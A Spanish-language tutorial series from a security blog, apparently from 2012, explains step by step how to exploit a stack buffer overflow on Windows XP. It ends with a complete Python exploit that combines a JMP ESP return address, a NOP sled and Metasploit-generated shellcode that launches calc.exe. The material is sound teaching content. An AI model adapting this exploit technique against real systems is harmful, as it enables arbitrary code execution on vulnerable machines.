Anda di halaman 1dari 14

UNLEARNING SECURITY

Explotacin de
vulnerabilidades - Stack
Buffer Overflow
http://unlearningsecurity.blogspot.com

Daniel Romero Prez


unlearnsecurity@gmail.com
Abril del 2012

* Recopilacin de entregas realizadas en http://unlearningsecurity.blogspot.com

NDICE
EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE I) ............................................... 2
EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE II) .............................................. 5
EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE III) ............................................. 9

EXPLOTACIO N DE VULNERABILIDADES - STACK BUFFER OVERFLOW


(PARTE I)
Si nos ponemos a analizar la gran cantidad de vulnerabilidades que salen diariamente en
portales como securityfocus.org, secunia.com, packetstormsecurity.org, etctera. estoy seguro
que la vulnerabilidad Stack Buffer Overflow es protagonista en ms de una ocasin.
Muchos de vosotros habris odo hablar de dicho fallo, pero para aquellos que no lo tengis
tan
claro
os
pongo
una
pequea
descripcin
de
la
Wikipedia
(http://en.wikipedia.org/wiki/Stack_buffer_overflow):
In software, a stack buffer overflow occurs when a program writes to a memory address on
the program's call stack outside of the intended data structure; usually a fixed length buffer.
Es decir, la vulnerabilidad Stack Buffer Overflow ocurre cuando una aplicacin no controla
correctamente el nmero de bytes que son almacenados en una direccin de memoria
previamente reservada, de forma que la cantidad de bytes que se van a almacenar son
superiores a los reservados.
Si recordis en la primera entrada de la serie introduccin a la ingeniera inversa, veamos
como se almacenaban los datos en el fragmento de la stack que se reservaba para una funcin.
Aun as vamos a recordarlo.
Pongo primero el cdigo en lenguaje C para que os resulte ms sencilla la interpretacin en
ensamblador.

Si os fijis, se estn estableciendo dos variables: la varaible pass que se iguala a ocho letras
a en minsculas y la variable name que es solicitada por teclado. Tal y como est generado
el cdigo, es imposible acceder a la funcin printf This is imposible!!, ya que la variable
pass nunca es modificada. Pero, realmente esto es cierto?, y como una imagen vale ms
que mil palabras, vamos a ver el estado de la pila justo antes de realizar la comparacin de
cadenas.

He intentado aclarar lo mximo posible la imagen para que no resulte muy complicada, aun as
har una pequea descripcin.
-

0x004013C6: Reserva/Aade el espacio necesario en la PILA para realizar operaciones


y almacenar las variables locales.
0x004013CE a 0x004013DD: Almacena la variable local pass en la PILA.
0x004013ED a 0x004013FC: Almacena la cadena introducida por teclado mediante la
funcin scanf en el espacio de la PILA reservado para la variable name.

Una vez entendido como se almacenan las variables locales en la pila, supongo que ya sabris
a donde quiero llegar.
Aqu es donde nos encontramos la vulnerabilidad Stack Buffer Overflow, Qu pasara si al
pedirnos que introduzcamos nuestro nombre, le asignamos una cadena que supere los 8 bytes
reservados para la variable name?
Vamos ha realizar la prueba con la cadena YYYYYYYYYYYYYYYY, diecisis Y.

Como se puede observar en la captura anterior, hemos podido sobrescribir la variable pass
aadiendo una cadena ms grande que la esperada. En este caso existan la variable name
de 8 bytes y la variable pass de 8 bytes, al introducir una cadena de 16 bytes por teclado
podremos sobrescribir el contenido de la variable pass.
Con lo visto, solo necesitaramos una cadena de diecisis bytes donde los ltimos 8 bytes
fueran la cadena pa$$word para poder sobrescribir la variable name y as acceder al printf
This is imposible!! que en un principio no era posible acceder.

As de sencillo ;) Para esta entrada he decidido realizar el ejemplo ms bsico que se me ha


ocurrido y as llegar a entender de un modo simple los conceptos bsicos de la vulnerabilidad
Stack Buffer Overflow.
No solo es posible realizar este tipo de acciones una vez te has aprovechado de esta
vulnerabilidad, algunas de las acciones que se me ocurren son:
-

Ejecucin de comando
Alterar el comportamiento de la aplicacin
Denegaciones de Servicio
Elevacin de privilegios

Un ejemplo rpido de como provocar una denegacin de servicio sobre la aplicacin, se podra
realizar introduciendo una cadena de caracteres lo suficientemente larga.

La explicacin a la Denegacin de Servicio es muy sencilla, al igual que la aplicacin sobrescribe


el espacio de memoria reservado para las variables locales, al seguir introduciendo caracteres
en la PILA se seguir llenando hasta sobrescribir las direcciones necesarias para el correcto
funcionamiento de la aplicacin.

EXPLOTACIO N DE VULNERABILIDADES - STACK BUFFER OVERFLOW


(PARTE II)
Tal y como coment en la anterior entrada, donde vimos los principios bsicos de la
vulnerabilidad Stack Buffer Overflow, hoy pasaremos a explicar como podemos sacarle ms
partido a esta vulnerabilidad, llegando a la ejecucin de cdigo arbitrario en la aplicacin
objetivo.
Para llevar a cabo la explotacin de este tipo de vulnerabilidad es necesario que aclare cuatro
conceptos que no se vieron en detalle en la serie de entradas introduccin a la ingeniera
inversa.
Registro EIP (Extended Instruction Pointer): Este registro apunta a la siguiente direccin de
memoria que el procesador va a ejecutar.

Si os fijis en la captura anterior despus de almacenar en la PILA la cadena Enter your


name:, se indica en el registro EIP la direccin de memoria 0x004013E8, la cual es la siguiente
del cdigo a ejecutar, en este caso la funcin printf.
Instruccin RETN: Es la instruccin encargada de recoger el valor de ESP y almacenarlo en el
registro EIP, de este modo el valor de ESP ser la prxima direccin de memoria que el
procesador va a ejecutar.

Direccin de retorno: Es el valor exacto que nos indica la direccin de memoria donde
habamos dejado la aplicacin ante de entrar en una subfuncin, para as cuando esta termine
volver a la posicin exacta donde nos quedamos. Este valor se encontrar almacenado en la
siguiente direccin de memoria del EBP de la subfuncin. Podis entenderlo de una forma
ms clara con la imagen de la explicacin de la PILA de primer post de la serie introduccin la
ingeniera inversa.
Shellcode: Si pensamos en una definicin genrica, podemos decir que se trata de la accin u
orden que se desea realizar una vez hemos explotado una vulnerabilidad. Para algo ms
completo, os dejo la definicin de la Wikipedia.
Una vez hemos afianzados estos trminos, pasamos a explicar cmo aprovecharnos de la
vulnerabilidad Stack Buffer Overflo. Supongo que ya os habris echo una idea de lo que

necesitamos conseguir, de forma rpida podemos decir que nuestro principal objetivo es
llegar a sobrescribir la direccin de retorno (almacenada en la PILA) con un valor que apunte
a nuestra shellcode. De este modo conseguiremos que al ejecutarse la instruccin RETN de la
subfuncin, la aplicacin vulnerable ejecute el cdigo (shellcode) que nosotros queramos.
Para no perder la costumbre, realizaremos un ejemplo sencillo con la funcin vulnerable strcpy
y con el siguiente cdigo:

Si os fijis el cdigo es muy simple. En la primera funcin realizamos una llamada a la segunda
pasando como parmetro el primer argumento de la aplicacin, mientras en la segunda
funcin, recogemos dicho argumento y lo copiamos a una variable local de 16 bytes.
El proceso de explotacin lo voy a dividir en cuatro partes:
1 - Deteccin de la vulnerabilidad
Existen multitud de formas de detectar la existencia de la vulnerabilidad Stack Buffer
Overflow en una aplicacin, aunque pocas de ellas se pueden considerar sencillas, nosotros
no vamos a tener problemas al disponer del cdigo.
Al tratarse de una vulnerabilidad Buffer Overflow, una forma sencilla de detectarla, es
mediante la introduccin de una cadena lo suficientemente larga para que sobrescriba parte
de la PILA de la aplicacin y as dejarla sin funcionalidad.

Al debuggear la aplicacin aadiendo una ristra de X como argumento, se puede identificar


la PILA sobrescrita con el valor 58, la letra X mayscula en hexadecimal. Si leemos el
mensaje de error, nos indica que la direccin de memoria 0x58585858 no puede ser leda por
la aplicacin, lo que nos indica que hemos llegado a sobrescribir un valor de la PILA que
posteriormente iba a ser utilizado como direccin que ejecutara alguna instruccin, en
nuestro caso la direccin de retorno.

2 - Localizacin de la direccin de retorno


La localizacin de la direccin de retorno en la explotacin de este tipo de vulnerabilidad es
clave, ya que es necesario sobrescribir la misma con la direccin que nosotros queramos, para
que posteriormente el procesador tome dicha direccin como el prximo punto de salto.
Pero cmo sabemos su posicin exacta?
Debido a que hemos introducido siempre el mismo carcter, no es posible identificar que
posicin exacta es la de la direccin de retorno. Un modo rpido es ir utilizando diferentes
caracteres en el buffer para posteriormente cotejar con la direccin del mensaje de error, o
utilizar la aplicacin pattern_create.rb del framework metasploit, encargada de generar
buffers sin repeticiones.

Introducimos los caracteres generados como argumento y observamos la nueva direccin que
nos proporciona el error.

A diferencia del anterior error, este nos est devolviendo la direccin 0x62413961. Si nosotros
transformamos dicho valor a ASCII, obtendramos la siguiente cadena bA9a, el cual sera
errneo ya que la forma de almacenar valores en la pila es Little-endian.

Por lo que hara falta invertir el orden de la direccin y transformar el valor a ASCII:

Valor en STACK
0x62413961

Valor Invertido
0x61394162

Valor en ASCII
a9Ab

Si buscamos la cadena obtenida en la ristra de caracteres generada por la aplicacin


pattern_create.rb, podremos localizar el primer carcter en la posicin 29, con lo cual, existen
28 caracteres (bytes) antes de la direccin de retorno.
Sustituiremos los valores 29, 30, 31 y 32 con el carcter X para comprobar rpidamente que
concuerdan con los valores de la direccin de retorno.
Cadena: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8AXXXX0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

De este modo ya sabemos la posicin exacta donde se encuentra la direccin de retorno.


Como ayuda, podamos haber utilizado la aplicacin pattern_offset.rb de framework
metasploit, que realiza el trabajo de bsqueda por nosotros.

EXPLOTACIO N DE VULNERABILIDADES - STACK BUFFER OVERFLOW


(PARTE III)
En la anterior entrada de la serie de explotacin de Stack Buffer Overflow, se vio cmo
detectar si nuestra aplicacin era vulnerable y cmo averiguar la posicin exacta de la
direccin de retorno. Hoy se proceder con los siguientes pasos para poder realizar ejecucin
de cdigo arbitrario en la aplicacin vulnerable.
3 - Salto a la shellcode
Como ya se coment en la entrada anterior, es necesario realizar un salto a nuestra ShellCode
para que esta sea ejecutada y consigamos nuestro objetivo. Para realizar este proceso,
deberemos averiguar la direccin exacta de nuestra ShellCode y sobrescribir la direccin de
retorno con ese valor.
Se me ocurren dos modos simples de almacenar nuestra ShellCode en memoria.

1. Despus de la direccin de retorno: nicamente deberemos sobrescribir la direccin


de retorno con la siguiente direccin de la PILA, la cual coincidir con el inicio de la
ShellCode.
2. Antes de la direccin de retorno: Debido a que anteriormente se est utilizando la
PILA para almacenar informacin, este es un buen sitio para alojar nuestra ShellCode.
Hay que tener en cuenta que dicho espacio es mucho ms limitado que la primera
opcin.
PROBLEMA:
Si os habis fijado en las capturas donde sala informacin de las direcciones de la PILA, estas
siempre empezaban con el valor 0x00. Esto es un problema, ya que si intentamos
sobrescribir la direccin de retorno con una direccin similar a 0x002205F2, la aplicacin
procesar el valor 00 como final de cadena y no conseguiremos sobrescribir la direccin de
retorno correctamente, por lo que no conseguiremos explotar la vulnerabilidad.
Posible SOLUCIN:
Libreras de Windows como KERNEL32.dll o NTDLL.dll, son cargadas siempre en la misma
direccin de memoria (problema que solventa ASLR) por una aplicacin, estas disponen de
conjuntos de instrucciones que realizan saltos a ESP (JMP ESP o CALL ESP), de los cuales nos

podemos aprovechar para saltar a nuestra ShellCode. Un ejemplo visual del proceso de
explotacin podra ser el siguiente.

NOTA: El problema anteriormente explicado, no siempre se encuentra, en vulnerabilidades


donde el exploit es enviado mediante protocolos de red o se encuentra en un fichero que
posteriormente utilizar la aplicacin, no hara falta realizar este paso intermedio.
4 - Creacin del exploit
La fase de la creacin del exploit se basa en unificar todos los apartados anteriores
desarrollando un cdigo que los interprete.
La estructura que podemos utilizar para este tipo de exploits es la siguiente:
Exploit = Buffer + RET + ShellCode
NOTA: El cdigo fuente del exploit ser realizando en el lenguaje Python, sencillo y fcil de
interpretar.
Como ya se vio en la anterior entrega, el buffer necesario hasta llegar a la direccin de retorno
eran 28 bytes, por lo que iniciaremos el exploit con una cadena con esa cantidad de bytes.
Buffer = "\x41"*28
El valor que utilizaremos para sobrescribir la direccin de retorno en este caso es 0x7C86467B,
asociado a la instruccin JMP ESP de la librera Kernel32.dll en un Windows XP SP3 en
espaol. Una forma rpida de conseguir este tipo de direcciones es mediante la bsqueda de
la cadena JMP ESP, una vez la aplicacin vulnerable ha sido desensamblada o utilizando la
herramienta FindJmp.
RET = "\x7b\x46\x86\x7c" # 0x7c86467b en Little-endian
Hasta aqu ya se habr conseguido que la aplicacin realice un salto a la librera Kernel32.dll,
para posteriormente saltar a nuestra ShellCode mediante la instruccin JMP ESP,
nicamente faltara introducir nuestra ShellCode en el exploit para que al vulnerar la aplicacin
esta realice la funcin que nosotros queramos.
Para la generacin de nuestra ShellCode utilizaremos la aplicacin msfpayload y msfencode
del framework de mestasploit. En nuestro caso nos bastar con ejecutar una calculadora para
comprobar la explotacin de la vulnerabilidad, aunque podramos realizar otro tipo de
funciones cmo: ejecucin de cualquier aplicacin del sistema operativo, apertura de puertos
asociados a una Shell del SO, conexiones inversas, etctera.

10

Comando: ruby msfpayload windows/exec cmd=calc.exe R | ruby msfencode -b


'\x00\x09\x20\x22' -t c
Resultado:
"\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"
"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38"

Me gustara resaltar el parmetro -b del comando msfencode, utilizado para descartar los
valores introducidos en el resultado de la ShellCode, muy til cuando se sabe que ciertos
valores no son bien interpretados por la aplicacin.
Debido que la aplicacin se explota a travs de la introduccin de una cadena por sus
argumentos, en el propio exploit, llamaremos a la aplicacin para as pasarle nuestra cadena y
conseguir la ejecucin de cdigo.
El cdigo final del exploit quedara del siguiente modo:
'''
Title: Buffer sencillo - Buffer Overflow Exploit
Author: Daniel Romero Perez
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
'''
import os
#Buffer
Buffer = "\x41"*28
#RET
RET = "\x7b\x46\x86\x7c"
#Nops
Nops = "\x90"*10
# ShellCode (msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x09\x20\x22' -t
c)
ShellCode = ("\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"

11

"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38");
#Payload
payload = Buffer + RET + Nops + ShellCode
#Argumentos
args = ('arg0', payload)
#Ejecucion de la app con argumentos
data = os.execv("C:\\Documents and Settings\\admin\\Escritorio\\app_vulnerable.exe" ,args)
Si os fijis se ha introducido en el cdigo la cadena (Nops = "\x90"*10), siempre es bueno
aadir algunos NOPs antes de la ShellCode para solventar problemas de alineacin al ejecutar
la misma.
Ejecutamos el exploit y.. FUNCIONA!!, hemos conseguido ejecutar cdigo arbitrario en una
aplicacin vulnerable, dando como resultado una calculadora.
Aado un esquema de lo sucedido interiormente en la aplicacin para aclarar la ejecucin del
cdigo.

12

1. Sobrescribimos la PILA con el buffer generado en el exploit, remarcando la direccin


de memoria de la librera Kernel32.dll.
2. Al finalizar la subfuncin y ejecutar la instruccin RETN, saltaremos a la librera
Kernel32.dll sobrescribiendo el registro EIP.
3. Se ejecuta la instruccin JMP ESP y saltamos a nuestra ShellCode.
4. Ejecutamos el cdigo de nuestra ShellCode y aparece nuestra calculadora.
Existen distintas formas de realizar el salto hacia nuestra ShellCode para conseguir la ejecucin
de cdigo en nuestra aplicacin vulnerable, en futuras entradas detallar algunas de ellas.
NOTA: Me gustara aclarar que para la realizacin del ejemplo anterior, no han intervenido
ningn tipo de proteccin en el ejecutable tales como SafeSEH, DEP, ASLR, etctera.
Con esto finaliza la serie de entradas Explotacin de vulnerabilidades - Stack Buffer
Overflow, espero que os haya gustado ;)
Un Saludo!!

13

Anda mungkin juga menyukai